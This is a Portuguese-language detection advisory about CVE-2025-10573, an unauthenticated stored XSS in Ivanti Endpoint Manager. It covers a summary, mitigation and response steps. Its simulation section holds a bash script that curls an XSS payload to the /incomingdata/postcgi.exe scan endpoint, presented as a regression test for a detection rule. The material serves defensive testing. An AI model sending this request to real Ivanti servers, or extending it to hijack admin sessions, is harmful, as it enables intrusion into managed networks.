CVE-2025-10573: Vulnerabilidade XSS Armazenada Não Autenticada na Ivanti EPM (Corrigida)
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O Ivanti Endpoint Manager (EPM) contém uma vulnerabilidade de cross-site scripting, que permite que um invasor não autenticado injete JavaScript malicioso nos dados de verificação do dispositivo. Quando esse payload é exibido no painel da web do console de gerenciamento, ele pode ser usado para sequestrar a sessão de um administrador. O problema está sendo identificado como CVE-2025-10573 e possui uma pontuação CVSS de 9.6.
Investigação
A Rapid7 analisou uma implantação central do Ivanti EPM 11.0.6 no Windows Server 2022 e descobriu que uma requisição POST manipulada para /incomingdata/postcgi.exe com campos de key=value maliciosos faz com que o JavaScript seja armazenado e posteriormente executado na interface do admin. O comportamento inseguro do binário CGI postcgi.exe, que grava arquivos de verificação fora da raiz da web, possibilita esse caminho de injeção.
Mitigação
A Ivanti lançou um patch em 09/12/2025, e atualizar para a versão 2024 SU4 SR1 do Ivanti EPM remove a vulnerabilidade. A Rapid7 irá disponibilizar uma verificação autenticada de vulnerabilidade para os clientes do Exposure Command, InsightVM e Nexpose, para ajudar a identificar instalações afetadas.
Resposta
As organizações devem implementar imediatamente a atualização 2024 SU4 SR1, restringir o acesso não autenticado à API /incomingdata e monitorar os logs do servidor web para requisições POST direcionadas ao postcgi.exe. Também devem revisar sessões de administradores em busca de sinais de sequestro e rodar quaisquer credenciais que possam ter sido comprometidas.
Fluxo de Ataque
Ainda estamos atualizando esta parte. Inscreva-se para ser notificado
Notifique-meExecução de Simulação
Pré-requisito: A Verificação de Pré-voo de Telemetria & Baseline deve ter sido aprovada.
Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos de Ataque:
Um invasor, ao descobrir que o endpoint de verificação do Ivanti EPM não é autenticado, cria uma carga de verificação maliciosa incorporando uma<script>tag que exibe um alerta (representando o sequestro de sessão). O invasor usacurlpara POSTAR esse payload, imitando uma submissão legítima de verificação de dispositivo. Como o payload corresponde exatamente à string que a regra observa, o SIEM deve gerar um alerta. -
Script de Teste de Regressão:
#!/bin/bash # ------------------------------------------------- # Simular XSS armazenado contra a API de verificação do Ivanti EPM # ------------------------------------------------- # URL alvo (ajuste o host conforme necessário) TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan" # Payload malicioso - exatamente a string que a regra espera PAYLOAD="<script>alert('Conta de administrador foi sequestrada')</script>" # Corpo XML completo que o Ivanti EPM espera (simplificado) XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>" # Enviar a requisição curl -k -X POST "$TARGET" -H "Content-Type: application/xml" -d "$XML_BODY" echo "Verificação maliciosa enviada." -
Comandos de Limpeza:
Os dados da verificação persistem no banco de dados do Ivanti EPM; a exclusão normalmente requer um administrador autenticado. Para fins de teste, a etapa de limpeza é limitada à remoção do arquivo de teste de qualquer captura de log local.#!/bin/bash # Simples limpeza: remover logs temporários do curl (se houver) rm -f /tmp/curl_log_* echo "Artefatos de teste local removidos."